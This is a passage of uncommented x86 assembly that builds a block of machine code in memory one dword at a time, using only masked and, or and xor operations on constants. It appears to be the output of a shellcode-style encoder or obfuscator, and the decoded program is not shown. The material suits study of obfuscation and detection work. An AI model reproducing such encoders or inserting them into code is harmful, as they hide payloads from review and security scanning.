or eax, 0x77eace86
and eax, 0x458b1375
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x26d535a5
and eax, 0x204503a4
or eax, 0x90000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x993bc4
and eax, 0x30d00028
or eax, 0x4c004513
mov dword [ebx], eax
add ebx, edx
xor eax, 0x492542a0
xor eax, 0x165c62d9
and eax, 0x20090100
or eax, 0x9c448a08
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d32a6d2
and eax, 0x50640d12
or eax, 0x24804021
mov dword [ebx], eax
add ebx, edx
or eax, 0x72c390fc
and eax, 0x70458911
or eax, 0x80100200
mov dword [ebx], eax
add ebx, edx
and eax, 0x3dabb4dd
and eax, 0x30000011
or eax, 0x4de0552a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67010b71
xor eax, 0x4e8c65e8
and eax, 0x40450b00
or eax, 0xa0008009
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67ae8761
and eax, 0x4d6bfc83
and eax, 0x1010800
or eax, 0x8800e083
mov dword [ebx], eax
add ebx, edx
xor eax, 0x501db94f
or eax, 0x552d9301
and eax, 0x4d09c045
or eax, 0x822000
mov dword [ebx], eax
add ebx, edx
or eax, 0xbeb477a
and eax, 0x1c18350
or eax, 0x80
mov dword [ebx], eax
add ebx, edx
or eax, 0x61bf4738
and eax, 0x1d04588
or eax, 0x8a000801
mov dword [ebx], eax
add ebx, edx
or eax, 0xc2319f
xor eax, 0x59317e22
and eax, 0x82030015
or eax, 0x2d0cb040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x418239b9
or eax, 0x1baae3f5
and eax, 0xd285e055
or eax, 0x1400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2383f224
and eax, 0x34051ff7
and eax, 0x271
or eax, 0x458b1104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3a731fa7
or eax, 0x2725c961
and eax, 0x444509d0
or eax, 0x80003208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1525c059
or eax, 0x97640c6
and eax, 0x49020b44
or eax, 0x4890038
mov dword [ebx], eax
add ebx, edx
and eax, 0x7638a432
and eax, 0x6338b714
and eax, 0x40080010
or eax, 0x8c4533ac
mov dword [ebx], eax
add ebx, edx
or eax, 0xe8978c1
and eax, 0x4cc44939
or eax, 0x31100402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3bceecf0
xor eax, 0x4590604b
and eax, 0x8100
or eax, 0xe8550a09
mov dword [ebx], eax
add ebx, edx
or eax, 0x6440e63e
and eax, 0x1be7e72a
and eax, 0x801e202
or eax, 0x81000881
mov dword [ebx], eax
add ebx, edx
and eax, 0x436cf4e0
and eax, 0x100e000
or eax, 0x448b0855
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cf9e401
and eax, 0x48412844
or eax, 0xa00413a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x92c8968
and eax, 0x24e222f
and eax, 0x8202c
or eax, 0x4d830450
mov dword [ebx], eax
add ebx, edx
or eax, 0x26ba2f5f
xor eax, 0x6f2888f6
and eax, 0x818388
or eax, 0x1400070
mov dword [ebx], eax
add ebx, edx
and eax, 0x642a922c
and eax, 8
or eax, 0x8bf84d81
mov dword [ebx], eax
add ebx, edx
or eax, 0x45b67d7d
and eax, 0x114c4a54
and eax, 0x1084854
or eax, 0x5433b001
mov dword [ebx], eax
add ebx, edx
and eax, 0x21506f07
or eax, 0x5612e2bc
and eax, 0x31268b4
or eax, 0x88011400
mov dword [ebx], eax
add ebx, edx
and eax, 0x1383dfc1
or eax, 0x64169510
and eax, 0x4503d000
or eax, 0x282045
mov dword [ebx], eax
add ebx, edx
and eax, 0x4f1e378f
and eax, 0x44003000
or eax, 0xb8450bc0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3fbbd4c8
and eax, 0x4a719d94
and eax, 0x8010000
or eax, 0x458a087c
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe211af
xor eax, 0x1a7ed6a
and eax, 0x444c3090
or eax, 0xb0010b44
mov dword [ebx], eax
add ebx, edx
xor eax, 0x170bde2d
and eax, 0x41026579
or eax, 0x14891004
mov dword [ebx], eax
add ebx, edx
and eax, 0x16dd561
xor eax, 0x61fa8e81
and eax, 0x60510bc0
or eax, 0x88042014
mov dword [ebx], eax
add ebx, edx
or eax, 0x32f70ab3
and eax, 0x471736bc
and eax, 0x40030034
or eax, 0x5884141
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f76d3c2
and eax, 0x1e883f0
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2daba6aa
and eax, 0x12570a56
and eax, 0x400000
or eax, 0x8bb04589
mov dword [ebx], eax
add ebx, edx
xor eax, 0x752ae918
and eax, 0x352b7ebd
and eax, 0x40a0c01
or eax, 0x4901c04c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x400e253b
xor eax, 0x5d49f04f
and eax, 0x1130
or eax, 0x8b3064c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b3c92bc
and eax, 0xe044
or eax, 0x55230011
mov dword [ebx], eax
add ebx, edx
or eax, 0x273e462
xor eax, 0x8aa1b2f
and eax, 0xb087450
or eax, 0x800000a4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4dd6fe6f
and eax, 0x440a8801
or eax, 0x1013044
mov dword [ebx], eax
add ebx, edx
or eax, 0x4cfdf5e9
xor eax, 0x1b6e2062
and eax, 0x2005584
or eax, 0x89202030
mov dword [ebx], eax
add ebx, edx
or eax, 0x471c8ce3
and eax, 0x4d38e445
or eax, 0x30008
mov dword [ebx], eax
add ebx, edx
xor eax, 0xf9b5852
and eax, 0x42003c04
or eax, 0x850941c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b720aa0
and eax, 0x389c3c66
and eax, 0x1c44
or eax, 0x18001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3678e2d6
xor eax, 0x36c56af6
and eax, 0xa80000
or eax, 0x7430000
mov dword [ebx], eax
add ebx, edx
and eax, 0x72d41124
and eax, 0x800000
or eax, 0x1c45c7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x76724869
and eax, 0x2000000
or eax, 0x89000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x12ecc535
xor eax, 0x68cf5fc4
and eax, 0x400b5044
or eax, 0x15008011
mov dword [ebx], eax
add ebx, edx
or eax, 0x26dbfba2
and eax, 0x3087094
or eax, 0x88240408
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4e6a6c36
and eax, 0x85061000
or eax, 0x2a09a445
mov dword [ebx], eax
add ebx, edx
or eax, 0x68985b3e
and eax, 0xc085c445
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x3729346f
and eax, 0x3bf7b2da
and eax, 0x10040
or eax, 0x4d8a0834
mov dword [ebx], eax
add ebx, edx
and eax, 0x30bf9cb1
xor eax, 0x3fce8bde
and eax, 0x4503e4
or eax, 0xc0083000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d5fe43a
and eax, 0x6d0a2147
and eax, 0x5020044
or eax, 0x50891031
mov dword [ebx], eax
add ebx, edx
and eax, 0x61eafbb4
and eax, 0x40001030
or eax, 0x8c552b88
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e8db59b
and eax, 0x44011118
or eax, 0x18a0065
mov dword [ebx], eax
add ebx, edx
xor eax, 0x217eac1d
and eax, 0x40452960
or eax, 0x98000298
mov dword [ebx], eax
add ebx, edx
and eax, 0x49a6f30b
or eax, 0x2b1cecd4
and eax, 0x49080954
or eax, 0x4830020
mov dword [ebx], eax
add ebx, edx
or eax, 0x4aa9c35c
and eax, 0x1a98368
or eax, 0x400080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6afde4af
or eax, 0x77ac709b
and eax, 0xba84589
or eax, 0x80400800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48a2891f
and eax, 0xc202c014
or eax, 0x28811841
mov dword [ebx], eax
add ebx, edx
xor eax, 0xd5a7b8a
or eax, 0x1a67d5c3
and eax, 0xd8558101
or eax, 0x800
mov dword [ebx], eax
add ebx, edx
and eax, 0x5e8c173a
and eax, 0x58040000
or eax, 0xa7fa82e9
mov dword [ebx], eax
add ebx, edx
or eax, 0x2439b373
and eax, 0x5d63a0fb
or eax, 0x4804
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7e21d418
and eax, 0x1020000
or eax, 0x44890000
mov dword [ebx], eax
add ebx, edx
and eax, 0x647d2240
and eax, 0x10000
or eax, 0xb0443bc8
mov dword [ebx], eax
add ebx, edx
or eax, 0x541c1e20
and eax, 0x44092e68
or eax, 0x9824015
mov dword [ebx], eax
add ebx, edx
or eax, 0x460de0c1
and eax, 0x4c0d2ab4
or eax, 0xa0401100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20580363
and eax, 0x6d47aa70
and eax, 0x44012050
or eax, 0x118a462d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x498b30a5
and eax, 0x2c0
or eax, 0x1c28120
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ec0a219
and eax, 0xc00000
or eax, 0x8b205589
mov dword [ebx], eax
add ebx, edx
and eax, 0x6db05b77
and eax, 0x1004001
or eax, 0x440ba044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e4ef4ce
and eax, 0x41c8235f
and eax, 8
or eax, 0x588589f4
mov dword [ebx], eax
add ebx, edx
and eax, 0x14486396
xor eax, 0x2051409c
and eax, 0x514108
or eax, 0x8baebef7
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ae78e2d
and eax, 0x81087040
or eax, 0xc81800d
mov dword [ebx], eax
add ebx, edx
and eax, 0x7fcc5aa8
and eax, 0xd885000
or eax, 0xf277af54
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f424d3
and eax, 0x80085183
or eax, 0x3f40408
mov dword [ebx], eax
add ebx, edx
or eax, 0x512522dc
and eax, 0x518901c2
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x40716d6
or eax, 0x6f5615ff
and eax, 0x588503fc
or eax, 0x8800
mov dword [ebx], eax
add ebx, edx
and eax, 0x724abd7d
and eax, 0x1000897c
or eax, 0x2bff7683
mov dword [ebx], eax
add ebx, edx
and eax, 0x48b8370c
xor eax, 0x1720b57c
and eax, 0x1f980000
or eax, 0xe0675485
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5ea015af
xor eax, 0x737ed5c6
and eax, 0x822114ec
or eax, 0x9106913
mov dword [ebx], eax
add ebx, edx
and eax, 0xfa23b5a
and eax, 0x9200048
or eax, 0x441bc005
mov dword [ebx], eax
add ebx, edx
or eax, 0x5cb81251
and eax, 0x9295010
or eax, 0x82002da0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4749734b
and eax, 0x1096000
or eax, 0x54328455
mov dword [ebx], eax
add ebx, edx
or eax, 0xf63b7af
xor eax, 0x46792f7d
and eax, 0x1005880
or eax, 0xc6092578
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ef6e726
and eax, 0x19844
or eax, 1
mov dword [ebx], eax
add ebx, edx
and eax, 0x57fa400c
and eax, 0
or eax, 0x7eb0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e45935e
and eax, 0x880146
or eax, 0x104481
mov dword [ebx], eax
add ebx, edx
and eax, 0x487a39a8
or eax, 0x7ac0eb95
and eax, 0xa000000
or eax, 0x81000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c4c6c7c
and eax, 0x3bd48c98
and eax, 0x1000c00
or eax, 0x4423f045
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b64016f
xor eax, 0x3961ecb7
and eax, 0x8016490
or eax, 0x83081008
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1eeb25bf
and eax, 0x3b5ef435
and eax, 0x1025005
or eax, 0xc081a448
mov dword [ebx], eax
add ebx, edx
and eax, 0x10f724fd
and eax, 0x10001
or eax, 0xf44c8900
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ba08e5d
and eax, 0x6c23532b
and eax, 8
or eax, 0x101cb0
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c10a8e5
and eax, 0x4800a800
or eax, 0xa0054300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4b0b476d
and eax, 0x8841
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d2bbaf4
and eax, 0x8000
or eax, 0xc35d658b
mov dword [ebx], eax
add ebx, edx
or eax, 0xd7e473f
and eax, 0xcc4cc48c
or eax, 0x800840
mov dword [ebx], eax
add ebx, edx
xor eax, 0x528c5bab
and eax, 0x488122e2
and eax, 0x8000040
or eax, 0xc4cccc8c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c9c2d32
xor eax, 0xd807f37
and eax, 0xccc08cc8
or eax, 0xc4004
mov dword [ebx], eax
add ebx, edx
or eax, 0x36f8296d
xor eax, 0x3ade65c3
and eax, 0xc402000c
or eax, 0x288955c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x59ac1542
xor eax, 0x4fba16d5
and eax, 0xc2144403
or eax, 0x540a880
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f86534
and eax, 0x8500e005
or eax, 0x10031040
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cfce8c8
xor eax, 0x4af99860
and eax, 0x44c10000
or eax, 0x1060000
mov dword [ebx], eax
add ebx, edx
and eax, 0x124263d7
xor eax, 0x1f3f3f6
and eax, 0x121f0e4
or eax, 0x4a0c08
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e1ed474
xor eax, 0x5b4d555f
and eax, 0x48458100
or eax, 0xa0004600
mov dword [ebx], eax
add ebx, edx
and eax, 0x1850f91d
xor eax, 0x3332ffa8
and eax, 0x3828
or eax, 0x111
mov dword [ebx], eax
add ebx, edx
or eax, 0x487ca608
xor eax, 0x5aa811d4
and eax, 0x10c404c5
or eax, 0xe0204102
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bea774a
or eax, 0x37e5b0d0
and eax, 0x47000150
or eax, 0x80000021
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79e001d7
and eax, 0x16200004
or eax, 0x4012fc41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x58b52190
and eax, 0x4870001
or eax, 0x41400000
mov dword [ebx], eax
add ebx, edx
or eax, 0x761022bb
and eax, 0xd202a0
or eax, 0x281940
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f12d53c
and eax, 0x1c40c700
or eax, 0xc0050000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5dbc4556
xor eax, 0x73cde1c5
and eax, 0x283
or eax, 0x10100
mov dword [ebx], eax
add ebx, edx
and eax, 0x248d8de5
or eax, 0x76deba7c
and eax, 0x60d801c5
or eax, 0x9004402
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3e4c1714
or eax, 0x4f53c5fa
and eax, 0x47000103
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x683853e8
and eax, 0
or eax, 0x2fa7d445
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11bba78
and eax, 0x4840001
or eax, 0x41430000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2851f9c
and eax, 0x21b90
or eax, 0x340040
mov dword [ebx], eax
add ebx, edx
or eax, 0x28fd2738
and eax, 0x8450700
or eax, 0xc400c000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e00a94
and eax, 0x500
or eax, 0x1242
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62be4c4a
and eax, 0x378577f5
and eax, 0x20804100
or eax, 0xcc4804c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x2205fd69
and eax, 1
or eax, 0xc700008e
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c57700
and eax, 0x42404405
or eax, 0x8008040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6144e23c
and eax, 0x1040001
or eax, 0x44c30000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f663950
xor eax, 0x3688e4c7
and eax, 0x21d880
or eax, 0x142040
mov dword [ebx], eax
add ebx, edx
or eax, 0x2b7d24cc
or eax, 0x320dad96
and eax, 0x3845c500
or eax, 0x84000200
mov dword [ebx], eax
add ebx, edx
and eax, 0x311a2a5
or eax, 0x3b96078e
and eax, 0x8686
or eax, 0x71
mov dword [ebx], eax
add ebx, edx
and eax, 0x44fc47e3
xor eax, 0x78bc354
and eax, 0x6884587
or eax, 0xe8700040
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e05ad9c
and eax, 0xc600004d
or eax, 0x1000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x3fe85452
and eax, 0x5000040
or eax, 0x78edb805
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3045635e
and eax, 0x45800001
or eax, 0x470000
mov dword [ebx], eax
add ebx, edx
or eax, 0x23f79cf2
or eax, 0x4d6cd8e3
and eax, 0x44d4b0
or eax, 0x204
mov dword [ebx], eax
add ebx, edx
or eax, 0x349b73d2
and eax, 0x3445c700
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0xb0bbb80
and eax, 0x880
or eax, 0x10019
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1c215664
or eax, 0x5a101156
and eax, 0x43045c7
or eax, 0x1800000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x214f0e0e
or eax, 0x8380369
and eax, 0x4000068
or eax, 0xc3000014
mov dword [ebx], eax
add ebx, edx
or eax, 0x58e97b99
and eax, 0x7a4ad55a
and eax, 0x40080040
or eax, 0x8186ac05
mov dword [ebx], eax
add ebx, edx
and eax, 0x700ee228
and eax, 0x42379473
and eax, 0x40020000
or eax, 0x5890000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79735e9c
and eax, 0x34401a98
or eax, 0xc0052160
mov dword [ebx], eax
add ebx, edx
or eax, 0x70cc883e
and eax, 0x21be3797
and eax, 0x880114
or eax, 0x4d030869
mov dword [ebx], eax
add ebx, edx
xor eax, 0x78d2c836
and eax, 0x1498148
or eax, 0xa002b4
mov dword [ebx], eax
add ebx, edx
and eax, 0x7f088a10
or eax, 0x57cd415d
and eax, 0x3cc4109
or eax, 0x88300c80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4053b65e
and eax, 0xc88359c5
or eax, 0x4400420
mov dword [ebx], eax
add ebx, edx
or eax, 0x1f3c96aa
xor eax, 0x51ab53a1
and eax, 0x8c00044c
or eax, 0x608b5180
mov dword [ebx], eax
add ebx, edx
or eax, 0x779a2f9c
and eax, 0xc7106c80
or eax, 0x448003
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ddf349b
and eax, 0x41402401
or eax, 0x3821d844
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11eed6b7
xor eax, 0x2f600bc5
and eax, 0x45c70001
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6c5d2ae1
and eax, 0x8228e0
or eax, 0x611118
mov dword [ebx], eax
add ebx, edx
and eax, 0x710da481
and eax, 0x10000
or eax, 0xf444c700
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a8bddcf
and eax, 0x500
or eax, 0x30fe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4351cc65
and eax, 0x77a24b38
and eax, 0x43004100
or eax, 0x90f004c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x21622484
and eax, 0x1000000
or eax, 0xc6000153
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4d99435a
and eax, 0x8a884001
or eax, 0x2466ac44
mov dword [ebx], eax
add ebx, edx
or eax, 0x7a2a3ea7
and eax, 0x1795d5d5
and eax, 0x4840000
or eax, 0x41430000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7a42e10b
xor eax, 0x519a19fd
and eax, 0xa78e0
or eax, 0x1000408
mov dword [ebx], eax
add ebx, edx
and eax, 0x3c3843dd
xor eax, 0x7c139ed6
and eax, 0x6401c600
or eax, 0x80440100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x33bf2009
xor eax, 0x113dbbda
and eax, 0x11092
or eax, 0x108
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f0d7a59
or eax, 0x20618572
and eax, 0x20600542
or eax, 0x1804085
mov dword [ebx], eax
add ebx, edx
xor eax, 0x32101c3d
and eax, 0x3000150
or eax, 0xc4000004
mov dword [ebx], eax
add ebx, edx
and eax, 0x1a10047b
and eax, 0x40
or eax, 0xe948dc05
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ebb1f5e
xor eax, 0x7c0079df
and eax, 0x4000000
or eax, 0x41c70000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c94ccbd
xor eax, 0x35e5cdac
and eax, 0x20110
or eax, 0x4044c8
mov dword [ebx], eax
add ebx, edx
or eax, 0x28631389
and eax, 0x414700
or eax, 0xd4048000
mov dword [ebx], eax
add ebx, edx
or eax, 0x75ca6e54
or eax, 0x2b73fe7
and eax, 0x12856
or eax, 8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7e1451b7
or eax, 0x198a31cf
and eax, 0x489041c7
or eax, 0x80400400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57bae01b
xor eax, 0x170a6022
and eax, 0x8000002a
or eax, 0x47000001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f669baa
and eax, 0x98648801
or eax, 0x26914444
mov dword [ebx], eax
add ebx, edx
xor eax, 0x677c9543
and eax, 0x41810000
or eax, 0x4460000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3010fa1d
xor eax, 0x6e8fb4b2
and eax, 0x1584e88
or eax, 0x233040
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cbd5d1d
and eax, 0x4454700
or eax, 0xc0008000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c4cfd8a
and eax, 0x7f80
or eax, 0x45
mov dword [ebx], eax
add ebx, edx
xor eax, 0x629d63a
xor eax, 0x1f4e06b3
and eax, 0x9400544
or eax, 0x60804083
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d20fdde
and eax, 0x69149fc0
and eax, 0x41000000
or eax, 0x86000024
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6000e906
and eax, 0xa200a800
or eax, 0x48071445
mov dword [ebx], eax
add ebx, edx
or eax, 0x29a578ee
xor eax, 0x6f5a5cea
and eax, 0x4c50000
or eax, 0x41020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6883bc85
or eax, 0x7c370410
and eax, 0x11c90
or eax, 0x804028
mov dword [ebx], eax
add ebx, edx
or eax, 0x13416452
and eax, 0x74056f4b
and eax, 0x10014400
or eax, 0xa4448300
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c559b34
and eax, 0xdc30
or eax, 0x41
mov dword [ebx], eax
add ebx, edx
xor eax, 0x40853fbb
and eax, 0x8041c2
or eax, 0x84300405
mov dword [ebx], eax
add ebx, edx
and eax, 0x35f3625b
or eax, 0x618a29b7
and eax, 0x450000c0
or eax, 0x82000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x38e6791b
and eax, 0
or eax, 0x3f5dac45
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a66b6d2
and eax, 0x22400000
or eax, 0x40a80001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11c05fd6
or eax, 0x29092ead
and eax, 0xb0003b3
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ce7b8eb
and eax, 0x80000a1
or eax, 0xc4c35d44
mov dword [ebx], eax
add ebx, edx
and eax, 0x77740d8
and eax, 0x40cd1483
and eax, 0x400080
or eax, 0xcc8ccc4c
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42657795
and eax, 0x520ae09
and eax, 0x4008808
or eax, 0xc8cc44c4
mov dword [ebx], eax
add ebx, edx
and eax, 0x61d67e8f
and eax, 0x40c44c8c
or eax, 0x8c088040
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d0df7aa
and eax, 0x4c084488
or eax, 0xa0831144
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ae2d058
and eax, 0xc640c480
or eax, 0x1102803
mov dword [ebx], eax
add ebx, edx
and eax, 0x463a1238
and eax, 0x40100000
or eax, 0x11c1fc45
mov dword [ebx], eax
add ebx, edx
or eax, 0x38214348
or eax, 0xf305301
and eax, 0x45c10001
or eax, 0x60000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d04d1b8
or eax, 0x9ff521b
and eax, 0x15e1218
or eax, 0x25e0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3c573dc
xor eax, 0x5ce2018c
and eax, 0x54414500
or eax, 0xa0048200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x29f870fb
and eax, 0x11772
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1f83a414
or eax, 0x1fbbbcd5
and eax, 0x12b005c7
or eax, 0x20404000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53659b8
and eax, 0x7000024
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7116f067
and eax, 0xe712e045
or eax, 0x8880c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d4b296
xor eax, 0x21f9b3bd
and eax, 0x44870000
or eax, 0x1400000
mov dword [ebx], eax
add ebx, edx
or eax, 0xe03fb46
and eax, 0x591c8896
and eax, 0x1000000
or eax, 0x860e8
mov dword [ebx], eax
add ebx, edx
and eax, 0x10e6fe78
and eax, 0x4000
or eax, 0xe4458700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5823449a
xor eax, 0x5aae7bf0
and eax, 0x106a
or eax, 0x10615
mov dword [ebx], eax
add ebx, edx
or eax, 0x323216c5
and eax, 0x322004c7
or eax, 0xc4c04100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6fc66d17
and eax, 0x36bf4363
and eax, 0x40
or eax, 0xc700001c
mov dword [ebx], eax
add ebx, edx
and eax, 0xd559fc8
and eax, 0x1fcb07a4
and eax, 0x4000000
or eax, 0x3a38dc45
mov dword [ebx], eax
add ebx, edx
and eax, 0x71d0aa67
or eax, 0x6b99a5f6
and eax, 0x41810000
or eax, 0x4460000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5445af8c
and eax, 0x800a88
or eax, 0x5d0050
mov dword [ebx], eax
add ebx, edx
or eax, 0x71e70e6b
xor eax, 0x7a73eae2
and eax, 0x4c400
or eax, 0xd4410300
mov dword [ebx], eax
add ebx, edx
or eax, 0x315ab008
xor eax, 0x1cff7969
and eax, 0xe41
or eax, 0x4094
mov dword [ebx], eax
add ebx, edx
or eax, 0x7eb1bad7
and eax, 0x7e9044c7
or eax, 0x1400100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d86a7d8
and eax, 0x4200000a
or eax, 0x850000a0
mov dword [ebx], eax
add ebx, edx
or eax, 0x47f3245d
and eax, 0x81c00445
or eax, 0x800c800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1200909c
and eax, 0x1c00000
or eax, 0x44070000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d7c39d8
or eax, 0x6e16dc3
and eax, 0x2054c8
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x7952fa0a
and eax, 0x294681ed
and eax, 0x448000
or eax, 0xc4014700
mov dword [ebx], eax
add ebx, edx
and eax, 0x44259593
and eax, 0x8400
or eax, 0x4aa7
mov dword [ebx], eax
add ebx, edx
and eax, 0x705827b0
and eax, 0x480
or eax, 0xdcc04147
mov dword [ebx], eax
add ebx, edx
and eax, 0x2f840ff6
or eax, 0x283bc222
and eax, 0x4000106
or eax, 0xc3000008
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fd108b5
and eax, 0x40000004
or eax, 0x8838bc41
mov dword [ebx], eax
add ebx, edx
or eax, 0x32c5606e
and eax, 0x40c50000
or eax, 0x5020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a812cf2
xor eax, 0x5182f022
and eax, 0x449090
or eax, 0x1190028
mov dword [ebx], eax
add ebx, edx
or eax, 0x78a7d246
and eax, 0x3045c200
or eax, 0x84000500
mov dword [ebx], eax
add ebx, edx
or eax, 0x76c16fbf
and eax, 0x164ac
or eax, 0x1040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3d24b92
and eax, 0x39045c6
or eax, 0xe4200001
mov dword [ebx], eax
add ebx, edx
and eax, 0x4eecebd3
or eax, 0x732dfecb
and eax, 0x30000c0
or eax, 0x88000010
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f527f55
and eax, 0x84425d85
or eax, 0x48810060
mov dword [ebx], eax
add ebx, edx
or eax, 0xafd4130
and eax, 0xcccc4cc4
or eax, 0x8008
mov dword [ebx], eax
add ebx, edx
or eax, 0x4817f025
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3c47ed10
and eax, 0x31cab09b
and eax, 0x208a0088
or eax, 0xcc015544
mov dword [ebx], eax
add ebx, edx
or eax, 0x61ef316f
and eax, 0xe86481
or eax, 0x8800
mov dword [ebx], eax
add ebx, edx
and eax, 0x6fa73fed
and eax, 0x4063e4f7
and eax, 0
or eax, 0x45c70000
mov dword [ebx], eax
add ebx, edx
or eax, 0x29b32e24
or eax, 0x4b817f67
and eax, 0x653124
or eax, 0x80088
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7bac7dad
and eax, 0x457609d8
and eax, 0x400000
or eax, 0xb005c700
mov dword [ebx], eax
add ebx, edx
or eax, 0x5044f2b1
and eax, 0x13230
or eax, 0x84a
mov dword [ebx], eax
add ebx, edx
or eax, 0x5b42fbe
or eax, 0x3132bdd6
and eax, 0x218405c6
or eax, 0x484001
